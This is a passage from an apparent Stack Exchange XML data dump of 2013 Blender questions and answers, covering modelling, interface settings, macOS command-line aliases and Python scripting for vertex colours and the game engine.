ContentLicense="CC BY-SA 3.0" />
  <row Id="2141" PostTypeId="1" CreationDate="2013-08-05T08:24:51.803" Score="6" ViewCount="1795" Body="&lt;p&gt;I have a rigid body simulation involving a solid body. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a simple simulation with a box shape on a plane. The plane is slid out from under the box so it falls due to gravity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to friction with the plane, the body doesn't fall straight but falls head first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to obtain the time varying acceleration vector of any one vertex?&lt;/p&gt;&#xA;" OwnerUserId="1047" LastEditorUserId="14" LastEditDate="2013-08-08T18:40:31.883" LastActivityDate="2013-09-07T19:37:54.867" Title="Calculating acceleration or velocity of a point on a rigid body?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2145" PostTypeId="2" ParentId="2127" CreationDate="2013-08-05T15:11:35.617" Score="6" Body="&lt;p&gt;Several things matter:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The vertex count must be the same. &lt;code&gt;= (v0...v19)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The edge list must have the same vertex indices to build each edge. That is, the same vertices must be connected. &lt;code&gt;= [[v0,v1],...[v10,v11],[v18,v19]]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The polygon list must have the same vertex indices to build each face. That is, each face must be formed by the same vertices, in the same order. &lt;code&gt;= [[v14,v15,v7,v4],...[v7,v6,v18,v19]]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically, you can move the vertices all you like, but you can't change how they connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image to demonstrate a deformation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BVUqn.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2koHX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="372" LastEditDate="2013-08-08T06:34:29.943" LastActivityDate="2013-08-08T06:34:29.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2146" PostTypeId="1" CreationDate="2013-08-05T15:52:17.933" Score="17" ViewCount="7533" Body="&lt;p&gt;I found and followed a &lt;a href=&quot;https://www.youtube.com/watch?v=qp3oS8XRNM0&quot;&gt;tutorial from youtube to create a spring&lt;/a&gt; but I found that it can't bend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a jack in the box so I want the crown to be able to hang down to scare someone. The model doesn't have &lt;em&gt;pose mode&lt;/em&gt; and I can't use bones to rig or weight paint it. What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="1049" LastEditorUserId="12" LastEditDate="2013-08-05T17:03:24.930" LastActivityDate="2015-06-06T13:07:34.843" Title="How to create a bent spring?" Tags="&lt;modeling&gt;&lt;rigging&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2147" PostTypeId="2" ParentId="1952" CreationDate="2013-08-05T16:34:12.327" Score="3" Body="&lt;p&gt;I don't think that Blender's .FBX exporter exports halo's. Even if it did, the software you're exporting to (in this case XNA) also has to have support for halo materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the time, it's just best to export meshes, UV maps and animations with the exporters, as materials and lights vary wildly from program to program. Do all the material setup in the target program.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-05T16:34:12.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2148" PostTypeId="2" ParentId="2146" CreationDate="2013-08-05T18:50:03.097" Score="6" Body="&lt;p&gt;You can model the spring using any method, either an Array modifier or a Screw modifier and then use a curve modifier to deform and animate the spring. (Animate the both the curve and spring at once, or use hooks to move the control points of the curves)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a simple circle and move it away from it's origin in edit mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6pOmA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a screw modifier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eCfj9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a curve modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tuDrC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the origin of the curve and the spring must be in the same place in order for it to follow the curve properly. You may also need to rotate the spring on the Y axis by 90 degrees depending on how you setup the spring and curve modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To animate the curve, simply create a hook (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;) for each of the curve's control points and animate those.&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="9" LastEditDate="2013-08-08T07:26:57.930" LastActivityDate="2013-08-08T07:26:57.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2149" PostTypeId="1" CreationDate="2013-08-05T19:01:33.600" Score="3" ViewCount="1565" Body="&lt;p&gt;Every time I point my mouse over a frame, it gets focus for its specific actions and hotkeys. But, when using a multi-monitor setup which opens different windows, I can't get them focused unless I click anywhere in the interface or hit the window bar. This occurs on Windows and Mac OS X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is annoying because I have to click first and then do a PAN or ORBIT command, for example.&lt;/p&gt;&#xA;" OwnerUserId="1050" LastEditorUserId="743" LastEditDate="2013-12-16T07:02:08.100" LastActivityDate="2016-11-03T15:54:32.317" Title="How to focus on different windows across multi-monitors to hit a hotkey?" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2150" PostTypeId="2" ParentId="2149" CreationDate="2013-08-05T19:30:01.183" Score="2" Body="&lt;p&gt;This is an issue with the window managers in Windows and MacOS. There's a chance that this might be addressable in Blender's source, but my guess is that it's a non-trivial problem. A work-around would be to try to force Windows or MacOS to use a behavior common in Linux window managers called &quot;focus follows mouse&quot;, or &quot;sloppy focus&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this is not default behavior in either of those systems. In Windows, you can do it manually by &lt;a href=&quot;http://dietrichschroff.blogspot.com/2013/01/windows-8-configuring-focus-follows.html&quot; rel=&quot;nofollow&quot;&gt;tweaking the UserPreferenceMask in the registry&lt;/a&gt;. In Mac OS, it's complicated by the fact that you have the persistent menu bar at the top... but you should be able to get focus follows mouse using a utility like &lt;a href=&quot;http://coderage-software.com/zooom/&quot; rel=&quot;nofollow&quot;&gt;Zooom/2&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="836" LastEditDate="2013-08-06T01:15:28.610" LastActivityDate="2013-08-06T01:15:28.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2151" PostTypeId="1" AcceptedAnswerId="2152" CreationDate="2013-08-05T19:36:39.630" Score="15" ViewCount="2506" Body="&lt;p&gt;Is there a way to open files without changing the UI layout?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes in older files the layout will be in the old 2.4x style, which can be annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way would seem to be appending everything in, but that gets tedious with having to do it over again and again for objects, materials, textures, etc. &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-08-08T06:49:17.357" LastActivityDate="2020-12-30T18:10:23.653" Title="Is it possible to use the startup.blend UI layout in older files?" Tags="&lt;customization&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2152" PostTypeId="2" ParentId="2151" CreationDate="2013-08-05T19:55:33.787" Score="18" Body="&lt;p&gt;When loading the file from the blender file browser uncheck the &lt;strong&gt;Load UI&lt;/strong&gt; checkbox, which is on the left hand side in the toolbar, to ignore the layout in the file to be loaded:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TtikY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; that this will keep the UI of the &lt;em&gt;current file&lt;/em&gt;. It may help to reopen the startup file (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;) to restore your default layout, and then open the file without loading the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also go to &lt;em&gt;File&gt; User Preferences&gt; File&lt;/em&gt; and uncheck the &lt;strong&gt;Load UI&lt;/strong&gt; checkbox in the &lt;strong&gt;Save &amp;amp; Load&lt;/strong&gt; section and save your user settings so that this is the default behaviour for blender when opening files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mq4YV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In newer versions you need to click on the gear on the top right of the window to see the LoadUI option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9GcUg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9GcUg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorDisplayName="user1853" LastEditDate="2019-12-30T21:14:18.337" LastActivityDate="2019-12-30T21:14:18.337" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2153" PostTypeId="1" AcceptedAnswerId="2154" CreationDate="2013-08-05T20:51:01.070" Score="8" ViewCount="6581" Body="&lt;p&gt;How can I control the colour of the lines in the grid? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've figured out how to change the colour of the darker lines, but there are a set of lighter lines that appear every ten spaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/EZYdviT.jpg&quot; rel=&quot;noreferrer&quot; title=&quot;click to enlarge&quot;&gt;&lt;img src=&quot;https://i.imgur.com/EZYdviT.jpg&quot; /&gt;&lt;/a&gt; &#xA;&lt;em&gt;Blender User Preferences - 3D View&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As shown in the screenshot there is a way to control the colour of the grid lines, I've experimented with this a little and the colour of the lighter grid lines appears to be linked to the colour that you set for the darker grid lines, but I would like to control this independently, perhaps making it a much brighter shade than the darker grid lines. Is this possible? I would hope that one of the other colours in there would control it, but I don't know which one.&lt;/p&gt;&#xA;" OwnerDisplayName="user1595" LastEditorDisplayName="user1595" LastEditDate="2013-08-05T21:29:46.807" LastActivityDate="2013-08-06T07:14:00.520" Title="How to control the Grid colours" Tags="&lt;3d-view&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2154" PostTypeId="2" ParentId="2153" CreationDate="2013-08-05T23:09:48.857" Score="3" Body="&lt;p&gt;You can't control the smaller grid-spacing values, these use an alpha value which is automatically calculated based on zoom level and the lightness of the grid-color (in orthographic mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender is calculating the color automatically and isn't giving you control.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-08-06T07:14:00.520" LastActivityDate="2013-08-06T07:14:00.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2155" PostTypeId="2" ParentId="886" CreationDate="2013-08-06T02:09:41.000" Score="15" Body="&lt;p&gt;Make sure &lt;em&gt;&lt;strong&gt;Global Undo&lt;/strong&gt;&lt;/em&gt; is enabled.&lt;/p&gt;&#xA;&lt;p&gt;For 2.8x and 2.9.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Edit &amp;gt; User preferences &amp;gt; System &amp;gt; Memory &amp;amp; Limits: Global Undo&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6k4h3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6k4h3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;For 2.7&lt;em&gt;x&lt;/em&gt; use  &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;&amp;gt; User preferences &amp;gt; Editing &amp;gt; Undo&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CUPlh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;That panel is called the &lt;em&gt;redo panel&lt;/em&gt;, because when you change a setting on it, blender actually redoes the previous operator with the new settings.&lt;br /&gt;&#xA;If blender can't undo the previous operator first, running it again will add it's effect on top of the result of the previous operator (which is not the desired effect at all).&lt;/p&gt;&#xA;&lt;p&gt;So this panel is disabled when undo is not available.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="92768" LastEditDate="2020-09-01T16:56:28.203" LastActivityDate="2020-09-01T16:56:28.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2156" PostTypeId="2" ParentId="2112" CreationDate="2013-08-06T03:20:59.480" Score="5" Body="&lt;p&gt;I like to use a python-only approach to compute the mouseToWorld transform:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def mouse2world():&#xA;    cam = logic.getCurrentScene().active_camera&#xA;    vec = cam.getScreenVect(*logic.mouse.position)&#xA;    camPos = cam.worldPosition&#xA;    projectedPos = [0,0,0]&#xA;    z = 10      # user-set depth&#xA;    projectedPos[0] = camPos[0] - vec[0] * z&#xA;    projectedPos[1] = camPos[1] - vec[1] * z&#xA;    projectedPos[2] = camPos[2] - vec[2] * z&#xA;&#xA;    return projectedPos&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/1742071/StackExchange/mouse2World.blend&quot; rel=&quot;noreferrer&quot;&gt;Link to sample file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-08-06T03:20:59.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2157" PostTypeId="2" ParentId="2153" CreationDate="2013-08-06T06:08:53.720" Score="3" Body="&lt;p&gt;I've found that the only way to get the lighter grid lines to have a greater contrast to the darker ones is to experiment with the the grid colour until it looks right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After playing with the colour picker I found that the hex value &lt;code&gt;2C2C2C&lt;/code&gt; causes the contrast to go the other way and make the lighter grid lines black, but this was not to my tastes so I settled with the hex value &lt;code&gt;333333&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;333333&lt;/code&gt; results in the darker grid lines being not so dark as to be invisible and the lighter grid lines to have a higher contrast to the darker ones. The default was &lt;code&gt;404040&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/kVxIHjZ.png&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;click to englarge&quot;&gt;&lt;img src=&quot;https://i.imgur.com/kVxIHjZ.png&quot; /&gt;&lt;/a&gt;&#xA;&lt;em&gt;User Preferences - 3D View grid set to hex &lt;code&gt;33333&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is what the grid looks like with that grid colour set to hex &lt;code&gt;333333&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/2TPoC0q.png&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;click to englarge&quot;&gt;&lt;img src=&quot;https://i.imgur.com/2TPoC0q.png&quot; /&gt;&lt;/a&gt;&#xA;&lt;em&gt;Blender - 3D View grid set to hex &lt;code&gt;33333&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the scaled screenshot it's hard to see the darker grid lines, but they are visible if you look at the image at full size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the grid looks like with the grid colour set to &lt;code&gt;2C2C2C&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/0S1Dirb.png&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;click to englarge&quot;&gt;&lt;img src=&quot;https://i.imgur.com/0S1Dirb.png&quot; /&gt;&lt;/a&gt;&#xA;&lt;em&gt;Blender - 3D View grid set to hex &lt;code&gt;2C2C2C&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1595" LastEditorDisplayName="user1595" LastEditDate="2013-08-06T06:56:40.773" LastActivityDate="2013-08-06T06:56:40.773" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2159" PostTypeId="2" ParentId="2078" CreationDate="2013-08-06T12:07:33.260" Score="3" Body="&lt;p&gt;Now that you have the &lt;a href=&quot;https://en.wikipedia.org/wiki/PATH_(variable)&quot; rel=&quot;nofollow noreferrer&quot;&gt;PATH&lt;/a&gt; set, it's actually now working. But you have a new issue:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning! bundled python not found and is expected on this platform.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As pointed towards in &lt;a href=&quot;https://blender.stackexchange.com/a/2079/290&quot;&gt;stacker's answer&lt;/a&gt;, you can tell Blender where it is by &lt;a href=&quot;https://stackoverflow.com/q/135688/809436&quot;&gt;setting&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;setenv BLENDER_SYSTEM_PYTHON /Applications/Blender/blender.app/Contents/MacOS/2.68/python&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect after that you may also need to set:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;setenv BLENDER_SYSTEM_SCRIPTS /Applications/Blender/blender.app/Contents/MacOS/2.68/scripts&#xA;setenv BLENDER_SYSTEM_DATAFILES /Applications/Blender/blender.app/Contents/MacOS/2.68/datafiles&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note you will need to bump the version numbers in the above paths for future versions of Blender.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;An easier option to all this may be to just &lt;a href=&quot;https://stackoverflow.com/q/8967843/809436&quot;&gt;create an alias&lt;/a&gt; to &lt;a href=&quot;https://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/open.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;open&lt;/code&gt;&lt;/a&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alias blender=&quot;open /Applications/Blender/blender.app --args&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm not a OS X user so have not tested the above.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-08-06T12:07:33.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2160" PostTypeId="2" ParentId="2078" CreationDate="2013-08-06T12:25:07.433" Score="15" Body="&lt;p&gt;Execute the following command in the terminal, then open a new terminal window and the &lt;code&gt;blender&lt;/code&gt; command should work as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;alias blender=/Applications/Blender/blender.app/Contents/MacOS/blender&quot; &amp;gt;&amp;gt; ~/.profile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this command does is add the following line to the end of &lt;code&gt;/Users/SteveW/.profile&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alias blender=/Applications/Blender/blender.app/Contents/MacOS/blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I strongly recommend to not mess with &lt;code&gt;PATH&lt;/code&gt; or any other environment variable for this, it only makes things more complicated, there's no reason to do so when you set up the alias correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On recent versions of macOS, &lt;code&gt;.profile&lt;/code&gt; is not used. Use &lt;code&gt;~/.bash_profile&lt;/code&gt;  instead. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;alias blender=/Applications/Blender/blender.app/Contents/MacOS/blender&quot; &amp;gt;&amp;gt; ~/.bash_profile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="242" LastEditorUserId="79345" LastEditDate="2020-01-08T22:39:21.590" LastActivityDate="2020-01-08T22:39:21.590" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="2161" PostTypeId="2" ParentId="2034" CreationDate="2013-08-06T13:26:16.443" Score="9" Body="&lt;p&gt;Update: Using a model similar to the one in the wikipedia article, I've come up with a complete solution. I also kept my previous attempt included in this post for the comments that refer to it. (Thanks Róbert and gandalf3!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9r8fV.png&quot; alt=&quot;Gooch final version&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the instructions below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Gooch Matte&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qyPcs.png&quot; alt=&quot;Gooch Matte Node Tree&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the surface normals from the geometry are combined with a Normal node that manually chooses the direction of the gradient. The dot product of these two vectors is normalized (0 through 1). When dot-product-multiplied against the camera's view vector, the gradient takes on the desired effect. I'm using emission to produce the color and then darkening it down to 10% strength by default (as is described in the paper). The two shaders are added together so that the blue lightens up areas that would otherwise be in complete shadow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vkq6k.png&quot; alt=&quot;Gooch Matte example plain&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WgGHE.png&quot; alt=&quot;Gooch Matte example with outline&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Gooch Glossy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ucp2k.png&quot; alt=&quot;Gooch Glossy Node Tree&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make a glossy Gooch shader, the Matte is simply added to a Glossy BSDF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ohlUp.png&quot; alt=&quot;Gooch Glossy example plain&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3Rwbm.png&quot; alt=&quot;Gooch Glossy example with outline&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="240" LastEditorUserId="240" LastEditDate="2015-02-18T17:32:22.590" LastActivityDate="2015-02-18T17:32:22.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2162" PostTypeId="1" AcceptedAnswerId="2166" CreationDate="2013-08-06T13:53:08.907" Score="6" ViewCount="1685" Body="&lt;p&gt;I've baked AO to vertex colors and would like to use the smooth modifier only on vertices that have a vertex color darker than 0.1 (for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I select vertices whose colors are below that threshold? I'd then create a vertex group from that and use it in the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can access the vertex colors with &lt;code&gt;bpy.context.object.data.vertex_colors.active.data[0].color&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="12" LastEditDate="2013-08-06T18:57:11.037" LastActivityDate="2013-08-07T20:20:15.467" Title="Select vertex if vertex color is dark" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2163" PostTypeId="2" ParentId="2162" CreationDate="2013-08-06T15:42:49.430" Score="1" Body="&lt;p&gt;Once you have your weight group there are a couple of ways to modify it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use the &lt;em&gt;group remove&lt;/em&gt; setting of the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Modify/Vertex_Weight#Vertex_Weight_Edit_Modifier&quot; rel=&quot;nofollow&quot;&gt;Vertex Weight Edit Modifier&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Group Remove&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Removes vertices with a final weight below Rem Threshold from the vertex group.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternatively you could use the &lt;kbd&gt;Weights | Clean&lt;/kbd&gt; operator: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.ops.object.html#bpy.ops.object.vertex_group_clean&quot; rel=&quot;nofollow&quot;&gt;bpy.ops.object.vertex_group_clean&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-07T05:35:04.033" LastActivityDate="2013-08-07T05:35:04.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2164" PostTypeId="1" AcceptedAnswerId="2167" CreationDate="2013-08-06T15:57:33.723" Score="9" ViewCount="631" Body="&lt;p&gt;I am trying to go trough a simple Blender tutorial in which I need to use module &lt;strong&gt;Rasterizer&lt;/strong&gt;. Unfortunately my Blender has no such module. As far as I know Blender has its own Python so there should be no collision with other&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Yes, question concerns BGE. As fas as I saw I have none of the modules that should be in Blender: no &lt;strong&gt;bge&lt;/strong&gt; for example. I dont think there is need to get the link to the tutorial, as Blender Python console simply states that script failed, and the script is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import Rasterizer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;both fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: I have downloaded a new version of Blender 2.68a. When it starts writes: found bundled python. I have for example &lt;strong&gt;bpy&lt;/strong&gt; module but no &lt;strong&gt;bge&lt;/strong&gt; module. It seems I have absolutely no Game Engine module. What a pity! :(&lt;/p&gt;&#xA;" OwnerUserId="717" LastEditorUserId="599" LastEditDate="2013-12-05T22:56:08.067" LastActivityDate="2014-03-27T07:50:47.567" Title="No Rasterizer module" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2166" PostTypeId="2" ParentId="2162" CreationDate="2013-08-06T16:59:30.953" Score="6" Body="&lt;p&gt;This will give you a dictionary of colors attached to each vertex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the form &lt;code&gt;{vertex_index :  [ color(s) ] ,... }&lt;/code&gt; . &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;mesh = bpy.context.active_object.data&#xA;color_layer = mesh.vertex_colors['Col']&#xA;&#xA;tk = {}&#xA;i = 0&#xA;for poly in mesh.polygons:&#xA;    for idx in poly.loop_indices:&#xA;        loop = mesh.loops[idx]&#xA;        v = loop.vertex_index&#xA;        linked = tk.get(v, [])&#xA;        linked.append(color_layer.data[i].color)&#xA;        tk[v] = linked&#xA;        i += 1&#xA;&#xA;print(tk)        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are nicer ways to write this, using &lt;a href=&quot;http://docs.python.org/3.3/library/collections.html#collections.defaultdict&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;collections.defaultdict&lt;/code&gt;&lt;/a&gt;. In this example I also import &lt;a href=&quot;http://docs.python.org/3.3/library/pprint.html?highlight=pprint#pprint&quot; rel=&quot;nofollow 